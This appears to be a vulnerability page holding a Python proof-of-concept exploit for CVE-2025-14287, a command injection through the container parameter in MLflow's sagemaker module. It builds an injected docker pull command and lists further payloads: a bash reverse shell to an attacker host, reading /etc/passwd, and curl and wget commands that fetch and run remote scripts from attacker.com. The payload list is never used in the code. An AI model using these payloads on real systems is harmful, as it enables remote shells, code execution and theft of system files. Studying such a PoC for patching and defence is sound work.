CVE-2025-14287: MLflow命令注入漏洞

# CVE-2025-14287 PoC - MLflow Command Injection # Affected: mlflow < v3.7.0 # File: mlflow/sagemaker/__init__.py (lines 161-167) import subprocess import sys def exploit_mlflow_container_injection(): """ Simulate command injection through --container parameter This PoC demonstrates how malicious input can be injected """ # Malicious container name with command injection payload malicious_container = "test'; whoami > /tmp/pwned #" # Simulated vulnerable code execution # In real scenario, this would be in mlflow/sagemaker/__init__.py vulnerable_cmd = f"docker pull {malicious_container}" print(f"[+] Vulnerable command: {vulnerable_cmd}") print(f"[+] When executed, this will: 1) pull 'test', 2) execute 'whoami', 3) write to /tmp/pwned") # Alternative payloads: payloads = [ # Reverse shell payload "test; bash -i >& /dev/tcp/attacker/port 0>&1 #", # File read payload "test; cat /etc/passwd #", # Download and execute "test$(curl http://attacker.com/shell.sh|bash)", # Backtick injection "test`wget http://attacker.com/backdoor.sh`" ] return vulnerable_cmd if __name__ == "__main__": exploit_mlflow_container_injection()